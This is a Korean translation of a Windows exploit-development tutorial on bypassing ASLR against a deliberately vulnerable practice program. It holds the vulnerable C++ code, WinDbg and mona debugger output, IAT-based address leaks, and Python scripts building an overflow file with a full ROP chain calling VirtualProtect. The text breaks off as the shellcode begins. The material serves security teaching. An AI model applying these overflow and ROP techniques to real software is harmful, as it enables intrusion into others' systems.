티스토리 뷰

본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다. 


http://expdev-kiuhnm.rhcloud.com



최신 윈도우즈 익스플로잇 개발 10. Exploitme4 (ASLR)


hackability.kr (김태범)

hackability_at_naver.com or ktb88_at_korea.ac.kr

2016.07.19



이전 글을 읽으시지 않으셨다면 이전의 3개의 글을 읽어주시기 바랍니다.

 

ASLR Address Space Layout Randomization의 두음글자 입니다. 이름으로 추측해볼 수 있듯이, 주소 공간의 배치가 무작위 합니다. (PEB, TEB 그리고 ASLR을 지원하는 모든 모듈들의 기본 주소가 윈도우즈가 재부팅 되거나 메모리에 로드 될 때마다 변경됩니다) 이 때문에 익스플로잇 코드에 특정 주소들을 직접 넣는것이 불가능 해졌습니다. ASLR을 우회하기 위해 최소 2가지 방법이 있습니다.


1. 구조나 모듈의 기본 주소가 일정한 것들을 찾기

2. 정보 노출 기법을 이용하여 구조나 모듈의 기본 주소 찾기


여기서는 exploitme4.exe을 위한 익스플로잇을 만들어 보도록 하겠습니다.


VS 2013에서 스택 쿠키를 비활성화 시키고 DEP는 이전과 동일하게 둡니다. Project -> properties에 들어 가셔서 Release 설정을 다음과 같이 설정합니다.

  • Configuration Properties
    • C/C++
      • Code Generation

        • Security Check: Disable Security Check (/GS-)

DEP를 활성화 시킵니다.

  • Configuration Properties

    • Linker

      • Advanced

        • Data Execution Prevention (DEP): Yes (/NXCOMPAT)

프로그램 코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <cstdio>
#include <conio.h>
 
class Name {
    char name[32];
    int *ptr;
 
public:
    Name() : ptr((int *)name) {}
 
    char *getNameBuf() { return name; }
 
    int readFromFile(const char *filePath) {
        printf("Reading name from file...\n");
 
        for (int i = 0; i < sizeof(name); ++i)
            name[i] = 0;
 
        FILE *= fopen(filePath, "rb");
        if (!f)
            return 0;
        fseek(f, 0L, SEEK_END);
        long bytes = ftell(f);
        fseek(f, 0L, SEEK_SET);
        fread(name, 1, bytes, f);
        fclose(f);
        return 1;
    }
 
    virtual void printName() {
        printf("Hi, %s!\n", name);
    }
 
    virtual void printNameInHex() {
        for (int i = 0; i < sizeof(name) / 4++i)
            printf(" 0x%08x", ptr[i]);
        printf("]\n");
    }
};
 
int main() {
    Name name;
    
    while (true) {
        if (!name.readFromFile("c:\\name.dat"))
            return -1;
        name.printName();
        name.printNameInHex();
 
        printf("Do you want to read the name again? [y/n] ");
        if (_getch() != 'y')
            break;
        printf("\n");
    }
    return 0;
}
cs


프로그램은 기존과 비슷하지만 몇몇 로직이 클래스(class)로 변경되었습니다. 또한 프로그램에 반복문을 넣어 프로그램을 종료하지 않고 익스플로잇을 여러번 할 수 있습니다.

 

취약점은 동일합니다. 클래스 내부의 Name 에 대해 버퍼 오버플로우를 시킬 수 있지만 이번에는 2가지 다른 방식으로 진행합니다.


1. name 객체는 스택에 있기 때문에 name 속성을 오버플로우 시켜 main() ret eip를 조작하고 main()이 종료될 때 쉘코드를 호출합니다.

2. name 객체 name 속성을 오버플로우 시킴으로써 printNameInHex() 함수에서 사용되는 ptr 속성을 덮어 쓸 수 있습니다. ptr 을 조작함으로써 printNameInHex()에 임의의 32 bytes 메모리를 출력 (정보 노출)할 수 있습니다.


먼저 ASLR을 우회하기 위해 정보 노출이 필요한지 살펴 봅니다. WinDbg에서 exploitme4를 불러오고 main() breakpoint 를 걸어 둡니다.


bp exploitme4!main


그리고 F5(go)한 뒤, mona를 이용하여 모듈을 살펴봅니다.


0:000> !py mona modules

Hold on...

[+] Command used:

!py mona.py modules


---------- Mona command started on 2015-03-22 02:22:46 (v2.0, rev 554) ----------

[+] Processing arguments and criteria

    - Pointer access level : X

[+] Generating module info table, hang on...

    - Processing modules

    - Done. Let's rock 'n roll.

----------------------------------------------------------------------------------------------------------------------------------

 Module info :

----------------------------------------------------------------------------------------------------------------------------------

 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path

----------------------------------------------------------------------------------------------------------------------------------

 0x77090000 | 0x7709a000 | 0x0000a000 | False  | True    | True  |  True    | True   | 6.1.7601.18768 [LPK.dll] (C:\Windows\syswow64\LPK.dll)

 0x747c0000 | 0x7481a000 | 0x0005a000 | False  | True    | True  |  True    | True   | 8.0.0.4344 [guard32.dll] (C:\Windows\SysWOW64\guard32.dll)

 0x76890000 | 0x7695c000 | 0x000cc000 | False  | True    | True  |  True    | True   | 6.1.7601.18731 [MSCTF.dll] (C:\Windows\syswow64\MSCTF.dll)

 0x74e90000 | 0x74ed7000 | 0x00047000 | False  | True    | True  |  True    | True   | 6.1.7601.18409 [KERNELBASE.dll] (C:\Windows\syswow64\KERNELBASE.dll)

 0x747b0000 | 0x747b9000 | 0x00009000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [VERSION.dll] (C:\Windows\SysWOW64\VERSION.dll)

 0x747a0000 | 0x747a7000 | 0x00007000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [fltlib.dll] (C:\Windows\SysWOW64\fltlib.dll)

 0x76ad0000 | 0x76b6d000 | 0x0009d000 | False  | True    | True  |  True    | True   | 1.626.7601.18454 [USP10.dll] (C:\Windows\syswow64\USP10.dll)

 0x01390000 | 0x01396000 | 0x00006000 | False  | True    | True  |  True    | False  | -1.0- [exploitme4.exe] (exploitme4.exe)

 0x74f90000 | 0x75020000 | 0x00090000 | False  | True    | True  |  True    | True   | 6.1.7601.18577 [GDI32.dll] (C:\Windows\syswow64\GDI32.dll)

 0x76320000 | 0x76430000 | 0x00110000 | False  | True    | True  |  True    | True   | 6.1.7601.18409 [kernel32.dll] (C:\Windows\syswow64\kernel32.dll)

 0x755e0000 | 0x7568c000 | 0x000ac000 | False  | True    | True  |  True    | True   | 7.0.7601.17744 [msvcrt.dll] (C:\Windows\syswow64\msvcrt.dll)

 0x74a40000 | 0x74a4c000 | 0x0000c000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [CRYPTBASE.dll] (C:\Windows\syswow64\CRYPTBASE.dll)

 0x74a50000 | 0x74ab0000 | 0x00060000 | False  | True    | True  |  True    | True   | 6.1.7601.18779 [SspiCli.dll] (C:\Windows\syswow64\SspiCli.dll)

 0x770c0000 | 0x77240000 | 0x00180000 | False  | True    | True  |  True    | True   | 6.1.7601.18247 [ntdll.dll] (ntdll.dll)

 0x76bc0000 | 0x76c60000 | 0x000a0000 | False  | True    | True  |  True    | True   | 6.1.7601.18247 [ADVAPI32.dll] (C:\Windows\syswow64\ADVAPI32.dll)

 0x764c0000 | 0x765b0000 | 0x000f0000 | False  | True    | True  |  True    | True   | 6.1.7601.18532 [RPCRT4.dll] (C:\Windows\syswow64\RPCRT4.dll)

 0x6c9f0000 | 0x6cade000 | 0x000ee000 | False  | True    | True  |  True    | True   | 12.0.21005.1 [MSVCR120.dll] (C:\Windows\SysWOW64\MSVCR120.dll)

 0x755a0000 | 0x755b9000 | 0x00019000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [sechost.dll] (C:\Windows\SysWOW64\sechost.dll)

 0x76980000 | 0x76985000 | 0x00005000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [PSAPI.DLL] (C:\Windows\syswow64\PSAPI.DLL)

 0x76790000 | 0x76890000 | 0x00100000 | False  | True    | True  |  True    | True   | 6.1.7601.17514 [USER32.dll] (C:\Windows\syswow64\USER32.dll)

 0x74d00000 | 0x74d60000 | 0x00060000 | False  | True    | True  |  True    | True   | 6.1.7601.17514 [IMM32.DLL] (C:\Windows\SysWOW64\IMM32.DLL)

----------------------------------------------------------------------------------------------------------------------------------



[+] This mona.py action took 0:00:00.110000


위 내용을 보면, 모든 모듈이 ASLR을 지원하기 때문에 exploitme4.exe에는 정보 노출이 필요합니다.

 

정보 노출을 통해 kernel32.dll, ntdll.dll 그리고 msvcr120.dll의 기본 주소를 찾을 수 있지만 이를 위해서는 먼저 exploitme4.exe의 배치 정보에 대해 수집을 하고 다음에 우리가 관심있는 라이브러리에 대해 찾아보도록 하겠습니다.



.next section


먼저, exploitme4.exe .text (.code) 영역에 대한 RVA를 구해보도록 합니다.


:000> !dh -s exploitme4


SECTION HEADER #1

   .text name

     AAC virtual size

    1000 virtual address          <---------------------------

     C00 size of raw data

     400 file pointer to raw data

       0 file pointer to relocation table

       0 file pointer to line numbers

       0 number of relocations

       0 number of line numbers

60000020 flags

         Code

         (no align specified)

         Execute Read


SECTION HEADER #2

  .rdata name

     79C virtual size

    2000 virtual address

     800 size of raw data

    1000 file pointer to raw data

       0 file pointer to relocation table

       0 file pointer to line numbers

       0 number of relocations

       0 number of line numbers

40000040 flags

         Initialized Data

         (no align specified)

         Read Only

<snip>


해당 RVA 1000h이며 이 정보는 쉽게 구할 수 있습니다.



가상 함수들


클래스 Name 2개의 가상 함수 (printName(), printNameInHex())를 가지고 있습니다. 이는 Name이 가상 함수 테이블 (virtual function table)을 가지며 두 개의 가상 함수 호출을 위해 사용됨을 알 수 있습니다. 어떻게 동작하는지 살펴 보도록 합시다.

 

OOP (Object-Oriented Programming)에서는 클래스는 특별합니다. (ex: 상속, 가상 함수 ...) 다음 예제를 보면


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#define _USE_MATH_DEFINES
#include <cmath>
#include <cstdio>
 
class Figure {
public:
    virtual double getArea() = 0;
};
 
class Rectangle : public Figure {
    double base, height;
 
public:
    Rectangle(double base, double height) : base(base), height(height) {}
 
    virtual double getArea() {
        return base * height;
    }
};
 
class Circle : public Figure {
    double radius;
 
public:
    Circle(double radius) : radius(radius) {}
 
    virtual double getArea() {
        return radius * M_PI;
    }
};
 
int main() {
    Figure *figures[] = { new Rectangle(105), new Circle(1.5), new Rectangle(510) };
 
    for (Figure *f : figures)
        printf("area: %lf\n", f->getArea());
 
    return 0;
}
cs


Rectangle 클래스와  Circle 클래스는 Figure 클래스로부터 상속되었습니다. (Rectangle Circle은 모두 Figure) 이 뜻은 Rectangle Circle Figure 포인터를 전달 할 수 있음을 뜻합니다. Figure에는 getArea()에 대한 구현은 없지만 Rectangle이나 Circle에서는 그들만의 특징으로 구현된 getArea()를 제공합니다.

 

main() 함수를 살펴 보면 처음 3개의 Figures (2개의 Rectangles 그리고 1개의 Circle)이 할당되었고 figures 배열에 해당 포인터들을 넣었습니다. Figure 타입의 포인터 f f->getArea()로 호출됩니다. 이 표현은 figure Rectangle이냐 Circle이냐에 따라 getArea() 가 결정됩니다.

 

어셈블리로는 어떻게 구현이 되었을까요? for 반복문을 살펴 보면 다음과 같습니다.


for (Figure *f : figures)

010910AD 8D 74 24 30          lea         esi,[esp+30h]  

010910B1 89 44 24 38          mov         dword ptr [esp+38h],eax  

010910B5 BF 03 00 00 00       mov         edi,3  

010910BA 8D 9B 00 00 00 00    lea         ebx,[ebx]  

010910C0 8B 0E                mov         ecx,dword ptr [esi]  

        printf("area: %lf\n", f->getArea());

010910C2 8B 01                mov         eax,dword ptr [ecx]  

010910C4 8B 00                mov         eax,dword ptr [eax]  

010910C6 FF D0                call        eax  

010910C8 83 EC 08             sub         esp,8  

010910CB DD 1C 24             fstp        qword ptr [esp]  

010910CE 68 18 21 09 01       push        1092118h  

010910D3 FF D3                call        ebx  

010910D5 83 C4 0C             add         esp,0Ch  

010910D8 8D 76 04             lea         esi,[esi+4]  

010910DB 4F                   dec         edi  

010910DC 75 E2                jne         main+0A0h (010910C0h)  

    return 0;

}


흥미로운 부분은 다음과 같습니다.


010910C0 8B 0E                mov         ecx,dword ptr [esi]     // ecx = ptr to the object

        printf("area: %lf\n", f->getArea());

010910C2 8B 01                mov         eax,dword ptr [ecx]     // eax = ptr to the VFTable

010910C4 8B 00                mov         eax,dword ptr [eax]     // eax = ptr to the getArea() implementation

010910C6 FF D0                call        eax


각각의 객체는 VFTable에 연관된 포인터로 시작합니다. 모든 Rectangle 객체는 동일한 VFTable을 가리키며 이는 Rectangle에 연관된 getArea()의 포인터를 갖습니다. Circle 타입의 오브젝트는 다른 VFTable을 가리키는데 이는 그들만의 getArea() 포인터를 갖습니다. 이를 통해 같은 어셈블리 코드로 오브젝트에 따라 적절한 getArea()를 호출하는 것을 볼 수 있습니다.

 

좀 더 명확하게 하기 위해 간단한 그림은 다음과 같습니다.



exploitme4.exe로 돌아가서 WinDbg로 불러온 뒤, main() breakpoint 를 넣고 F10(step)으로 while loop 에 들어 갈때까지 진행합니다. 이를 통해 name 객체가 생성되고 초기화 되는 것을 확인할 수 있습니다.

 

name 객체에 대한 배치는 다음과 같습니다.


|VFTptr | name           | ptr   |

 <DWORD> <-- 32 bytes --> <DWORD>


전에 말했듯, 가상 함수 테이블 포인터는 오프셋 0에 위치합니다. 이 포인터를 읽으면 다음과 같습니다.


0:000> dd name

0033f8b8  011421a0 0033f8e8 01141290 0114305c

0033f8c8  01143060 01143064 00000000 0114306c

0033f8d8  6ca0cc79 0033f8bc 00000001 0033f924

0033f8e8  011413a2 00000001 00574fb8 00566f20

0033f8f8  155a341e 00000000 00000000 7efde000

0033f908  00000000 0033f8f8 00000022 0033f960

0033f918  011418f9 147dee12 00000000 0033f930

0033f928  7633338a 7efde000 0033f970 770f9f72


VFTptr 0x011421a0 입니다. 이제 VFTable이 가지고 있는 내용을 보도록 합니다.


0:000> dd 011421a0

011421a0  01141000 01141020 00000048 00000000

011421b0  00000000 00000000 00000000 00000000

011421c0  00000000 00000000 00000000 00000000

011421d0  00000000 00000000 00000000 00000000

011421e0  00000000 01143018 01142310 00000001

011421f0  53445352 9c20999b 431fa37a cc3e54bc

01142200  da01c06e 00000010 755c3a63 73726573

01142210  75696b5c 5c6d6e68 75636f64 746e656d


printName() (0x01141000)을 위한 포인터와 printNameInHex() (0x01141020)을 위한 포인터가 있습니다. printName()을 가리키는 포인터의 RVA를 계산해봅시다.


0:000> ? 01141000-exploitme4

Evaluate expression: 4096 = 00001000



IAT


PE 파일의 IAT (Import Address Table) OS 로더가 동적 링킹 과정에서 다른 모듈에서 제공되어 가져온 함수들의 주소를 넣은 테이블 입니다. 프로그램에서 제공받은 함수를 사용할 때 다음과 같은 형태로 CALL 을 사용합니다.


CALL      dword ptr ds:[location_in_IAT]


exploitme4.exe IAT 를 보면 모듈의 기본 주소와 어디서 제공되었는지 알 수 있습니다.

 

먼저, IAT는 어디에 있는지 찾아 보도록 하겠습니다.


0:000> !dh -f exploitme4


File Type: EXECUTABLE IMAGE

FILE HEADER VALUES

     14C machine (i386)

       5 number of sections

550DA390 time date stamp Sat Mar 21 18:00:00 2015


       0 file pointer to symbol table

       0 number of symbols

      E0 size of optional header

     102 characteristics

            Executable

            32 bit word machine


OPTIONAL HEADER VALUES

     10B magic #

   12.00 linker version

     C00 size of code

    1000 size of initialized data

       0 size of uninitialized data

    140A address of entry point

    1000 base of code

         ----- new -----

00ac0000 image base

    1000 section alignment

     200 file alignment

       3 subsystem (Windows CUI)

    6.00 operating system version

    0.00 image version

    6.00 subsystem version

    6000 size of image

     400 size of headers

       0 checksum

00100000 size of stack reserve

00001000 size of stack commit

00100000 size of heap reserve

00001000 size of heap commit

    8140  DLL characteristics

            Dynamic base

            NX compatible

            Terminal server aware

       0 [       0] address [size] of Export Directory

    23C4 [      3C] address [size] of Import Directory

    4000 [     1E0] address [size] of Resource Directory

       0 [       0] address [size] of Exception Directory

       0 [       0] address [size] of Security Directory

    5000 [     1B4] address [size] of Base Relocation Directory

    20E0 [      38] address [size] of Debug Directory

       0 [       0] address [size] of Description Directory

       0 [       0] address [size] of Special Directory

       0 [       0] address [size] of Thread Storage Directory

    21A8 [      40] address [size] of Load Configuration Directory

       0 [       0] address [size] of Bound Import Directory

    2000 [      B8] address [size] of Import Address Table Directory   <-----------------------

       0 [       0] address [size] of Delay Import Directory

       0 [       0] address [size] of COR20 Header Directory

       0 [       0] address [size] of Reserved Directory


IAT RVA 0x2000이며 크기는 0xB8 바이트 입니다. 심볼들과 연관된 주소를 출력해주는 dps 명령어를 이용하여 IAT의 내용을 보도록 하겠습니다.


0:000> dps exploitme4+2000 LB8/4

00ac2000  76334a25 kernel32!IsDebuggerPresentStub     <---------------------- kernel32

00ac2004  770f9dd5 ntdll!RtlDecodePointer             <---------------------- ntdll

00ac2008  763334c9 kernel32!GetSystemTimeAsFileTimeStub                                  msvcr120

00ac200c  76331420 kernel32!GetCurrentThreadIdStub                                           |

00ac2010  763311f8 kernel32!GetCurrentProcessIdStub                                          |

00ac2014  763316f1 kernel32!QueryPerformanceCounterStub                                      |

00ac2018  7710107b ntdll!RtlEncodePointer                                                    |

00ac201c  763351fd kernel32!IsProcessorFeaturePresent                                        |

00ac2020  00000000                                                                           |

00ac2024  6ca94ced MSVCR120!_XcptFilter [f:\dd\vctools\crt\crtw32\misc\winxfltr.c @ 195] <---+

00ac2028  6ca6bb8d MSVCR120!_amsg_exit [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 485]

00ac202c  6ca1e25f MSVCR120!__getmainargs [f:\dd\vctools\crt\crtw32\dllstuff\crtlib.c @ 142]

00ac2030  6ca1c7ce MSVCR120!__set_app_type [f:\dd\vctools\crt\crtw32\misc\errmode.c @ 94]

00ac2034  6ca24293 MSVCR120!exit [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 416]

00ac2038  6ca6bbb8 MSVCR120!_exit [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 432]

00ac203c  6ca24104 MSVCR120!_cexit [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 447]

00ac2040  6ca955eb MSVCR120!_configthreadlocale [f:\dd\vctools\crt\crtw32\misc\wsetloca.c @ 141]

00ac2044  6ca6b9e9 MSVCR120!__setusermatherr [f:\dd\vctools\crt\fpw32\tran\matherr.c @ 41]

00ac2048  6ca0cc86 MSVCR120!_initterm_e [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 990]

00ac204c  6ca0cc50 MSVCR120!_initterm [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 941]

00ac2050  6cacf62c MSVCR120!__initenv

00ac2054  6cacf740 MSVCR120!_fmode

00ac2058  6c9fec80 MSVCR120!type_info::~type_info [f:\dd\vctools\crt\crtw32\eh\typinfo.cpp @ 32]

00ac205c  6ca8dc2c MSVCR120!terminate [f:\dd\vctools\crt\crtw32\eh\hooks.cpp @ 66]

00ac2060  6ca1c7db MSVCR120!__crtSetUnhandledExceptionFilter [f:\dd\vctools\crt\crtw32\misc\winapisupp.c @ 194]

00ac2064  6c9fedd7 MSVCR120!_lock [f:\dd\vctools\crt\crtw32\startup\mlock.c @ 325]

00ac2068  6c9fedfc MSVCR120!_unlock [f:\dd\vctools\crt\crtw32\startup\mlock.c @ 363]

00ac206c  6ca01208 MSVCR120!_calloc_crt [f:\dd\vctools\crt\crtw32\heap\crtheap.c @ 55]

00ac2070  6ca0ca46 MSVCR120!__dllonexit [f:\dd\vctools\crt\crtw32\misc\onexit.c @ 263]

00ac2074  6ca1be6b MSVCR120!_onexit [f:\dd\vctools\crt\crtw32\misc\onexit.c @ 81]

00ac2078  6ca9469b MSVCR120!_invoke_watson [f:\dd\vctools\crt\crtw32\misc\invarg.c @ 121]

00ac207c  6ca1c9b5 MSVCR120!_controlfp_s [f:\dd\vctools\crt\fpw32\tran\contrlfp.c @ 36]

00ac2080  6ca02aaa MSVCR120!_except_handler4_common [f:\dd\vctools\crt\crtw32\misc\i386\chandler4.c @ 260]

00ac2084  6ca96bb8 MSVCR120!_crt_debugger_hook [f:\dd\vctools\crt\crtw32\misc\dbghook.c @ 57]

00ac2088  6ca9480c MSVCR120!__crtUnhandledException [f:\dd\vctools\crt\crtw32\misc\winapisupp.c @ 253]

00ac208c  6ca947f7 MSVCR120!__crtTerminateProcess [f:\dd\vctools\crt\crtw32\misc\winapisupp.c @ 221]

00ac2090  6c9fed74 MSVCR120!operator delete [f:\dd\vctools\crt\crtw32\heap\delete.cpp @ 20]

00ac2094  6ca9215c MSVCR120!_getch [f:\dd\vctools\crt\crtw32\lowio\getch.c @ 237]

00ac2098  6ca04f9e MSVCR120!fclose [f:\dd\vctools\crt\crtw32\stdio\fclose.c @ 43]

00ac209c  6ca1fdbc MSVCR120!fseek [f:\dd\vctools\crt\crtw32\stdio\fseek.c @ 96]

00ac20a0  6ca1f9de MSVCR120!ftell [f:\dd\vctools\crt\crtw32\stdio\ftell.c @ 45]

00ac20a4  6ca05a8c MSVCR120!fread [f:\dd\vctools\crt\crtw32\stdio\fread.c @ 301]

00ac20a8  6ca71dc4 MSVCR120!fopen [f:\dd\vctools\crt\crtw32\stdio\fopen.c @ 124]

00ac20ac  6cacf638 MSVCR120!_commode

00ac20b0  6ca72fd9 MSVCR120!printf [f:\dd\vctools\crt\crtw32\stdio\printf.c @ 49]

00ac20b4  00000000


우리는 각 모듈들을 위해 3개의 주소가 필요합니다. 3개의 주소들의 RVA 값들을 이용하여 연산하면 다음과 같습니다.


0:000> ? kernel32!IsDebuggerPresentStub-kernel32

Evaluate expression: 84517 = 00014a25

0:000> ? ntdll!RtlDecodePointer-ntdll

Evaluate expression: 237013 = 00039dd5

0:000> ? MSVCR120!_XcptFilter-msvcr120

Evaluate expression: 675053 = 000a4ced


그러면 다음과 같은 정보를 알 수 있습니다.


@exploitme4 + 00002000    kernel32 + 00014a25

@exploitme4 + 00002004    ntdll + 00039dd5

@exploitme4 + 00002024    msvcr120 + 000a4ced


첫 번째 줄의 의미는 exploitme4 + 00002000 주소에 kernel32 + 00014a25가 있음을 뜻합니다. exploitme4 kernel32 가 변경되어도 RVA는 일정하기 때문에 테이블은 항상 정확합니다. 이 정보는 익스플로잇 중에 kernel32.dll, ntdll.dll, 그리고 msvcr120.dll의 기본 주소를 찾는데 결정적인 역할을 합니다.



계산기 띄우기


위에서 보듯, name 오브젝트의 배열은 다음과 같습니다.


|VFTptr | name           | ptr   |

 <DWORD> <-- 32 bytes --> <DWORD>


이 뜻은 ptr name.dat 파일에서 offset 32 에 있는 dowrd로 덮어 써집니다. 지금은 우리가 EIP 를 조작하고 싶기 때문에 ptr 은 무시하도록 하겠습니다.

 

먼저, 오브젝트 name이 스택에 할당되고 name 속성을 오버플로우 시켜 ret eip를 덮을 수 있는지 확인해보도록 하겠습니다.

 

여기서 EIP 를 조작하려면 ptr을 덮어 써야 하기 때문에 ptr을 위해 읽을 수 있는 여역의 주소를 선택해야 합니다. 그렇지 않으면 ptr 를 접근할 때 exploitme4에서 충돌이 발생됩니다. ptr kernel32.dll 의 기본 주소로 덮어 써보도록 하겠습니다.

 

다음 파이썬 스크립트를 실행합니다.


1
2
3
4
with open(r'c:\name.dat''wb') as f:
    readable = struct.pack('<I'0x76320000)
    name = 'a'*32 + readable + 'b'*100
    f.write(name)
cs


WinDbg에서 exploitme4를 불러 F5 (go)를 하고 main()을 나가기 위해 exploitme4 console에서 ‘n’ 을 입력하여 예외를 발생시킵니다.


(ff4.2234): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=00000000 ecx=6ca92195 edx=0020e0e8 esi=00000001 edi=00000000

eip=62626262 esp=001cf768 ebp=62626262 iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

62626262 ??              ???


보시면 EIP가 우리의 ‘bbbb’ 로 덮어 써졋음을 볼 수 있습니다. 패턴을 이용하여 EIP를 조작하기 위해 EIP 를 조작할 수 있는 DWORD offset을 찾기 위해 패턴 문자열을 이용하여 찾습니다.


0:000> !py mona pattern_create 100

Hold on...

[+] Command used:

!py mona.py pattern_create 100

Creating cyclic pattern of 100 bytes

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

[+] Preparing output file 'pattern.txt'

    - (Re)setting logfile d:\WinDbg_logs\exploitme4\pattern.txt

Note: don't copy this pattern from the log window, it might be truncated !

It's better to open d:\WinDbg_logs\exploitme4\pattern.txt and copy the pattern from the file


[+] This mona.py action took 0:00:00.030000


수정된 스크립트는 다음과 같습니다.


1
2
3
4
5
6
with open(r'c:\name.dat''wb') as f:
    readable = struct.pack('<I'0x76320000)
    pattern = ('Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6'+
           'Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A')
    name = 'a'*32 + readable + pattern
    f.write(name)
cs


WinDbg에서 계속 진행하면 다른 예외가 생성되는 것을 볼 수 있습니다.


(f3c.23b4): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=00000000 ecx=6ca92195 edx=001edf38 esi=00000001 edi=00000000

eip=33614132 esp=0039f9ec ebp=61413161 iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

33614132 ??              ???


이 정보 (0x33614132)를 이용하여 오프셋을 구합니다.


0:000> !py mona pattern_offset 33614132

Hold on...

[+] Command used:

!py mona.py pattern_offset 33614132

Looking for 2Aa3 in pattern of 500000 bytes

 - Pattern 2Aa3 (0x33614132) found in cyclic pattern at position 8

Looking for 2Aa3 in pattern of 500000 bytes

Looking for 3aA2 in pattern of 500000 bytes

 - Pattern 3aA2 not found in cyclic pattern (uppercase)  

Looking for 2Aa3 in pattern of 500000 bytes

Looking for 3aA2 in pattern of 500000 bytes

 - Pattern 3aA2 not found in cyclic pattern (lowercase)  


[+] This mona.py action took 0:00:00.180000


해당 오프셋 8 임을 알았고 DEP를 우회하기 위해 사용되었던 스크립트를 다시 사용합니다. 여기서 몇몇 수정이 필요하고 변경된 kernel32.dll, ntdll.dll, msvcr120.dll 의 기본 주소도 수정해야 합니다.

 

전체 스크립트는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import struct
 
# The signature of VirtualProtect is the following:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );
 
# After PUSHAD is executed, the stack looks like this:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))
#   ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
#   EBP (ptr to POP (skips EAX on the stack))
#   ESP (lpAddress (automatic))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (ptr to writeable address))
#   EAX (address of ptr to VirtualProtect)
# lpAddress:
#   ptr to "call esp"
#   <shellcode>
 
msvcr120 = 0x6c9f0000
kernel32 = 0x76320000
ntdll = 0x770c0000
 
def create_rop_chain():
    for_edx = 0xffffffff
 
    # rop chain generated with mona.py - www.corelan.be (and modified by me).
    rop_gadgets = [
        msvcr120 + 0xbf868,  # POP EBP # RETN [MSVCR120.dll]
        msvcr120 + 0xbf868,  # skip 4 bytes [MSVCR120.dll]
 
        # ebx = 0x400 (dwSize)
        msvcr120 + 0x1c658,  # POP EBX # RETN [MSVCR120.dll]
        0x11110511,
        msvcr120 + 0xdb6c4,  # POP ECX # RETN [MSVCR120.dll]
        0xeeeefeef,
        msvcr120 + 0x46398,  # ADD EBX,ECX # SUB AL,24 # POP EDX # RETN [MSVCR120.dll]
        for_edx,
 
        # edx = 0x40 (NewProtect = PAGE_EXECUTE_READWRITE)
        msvcr120 + 0xbedae,  # POP EDX # RETN [MSVCR120.dll]
        0x01010141,
        ntdll + 0x75b23,     # POP EDI # RETN [ntdll.dll]
        0xfefefeff,
        msvcr120 + 0x39b41,  # ADD EDX,EDI # RETN [MSVCR120.dll]
 
        msvcr120 + 0xdb6c4,  # POP ECX # RETN [MSVCR120.dll]
        kernel32 + 0xe0fce,  # &Writable location [kernel32.dll]
        ntdll + 0x75b23,     # POP EDI # RETN [ntdll.dll]
        msvcr120 + 0x68e3d,  # RETN (ROP NOP) [MSVCR120.dll]
        msvcr120 + 0x6e150,  # POP ESI # RETN [MSVCR120.dll]
        ntdll + 0x2e8ae,     # JMP [EAX] [ntdll.dll]
        msvcr120 + 0x50464,  # POP EAX # RETN [MSVCR120.dll]
        msvcr120 + 0xe51a4,  # address of ptr to &VirtualProtect() [IAT MSVCR120.dll]
        msvcr120 + 0xbb7f9,  # PUSHAD # RETN [MSVCR120.dll]
        kernel32 + 0x37133,  # ptr to 'call esp' [kernel32.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
def write_file(file_path):
    with open(file_path, 'wb') as f:
        readable = struct.pack('<I', kernel32)
        ret_eip = struct.pack('<I', kernel32 + 0xb7805)            # RETN
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
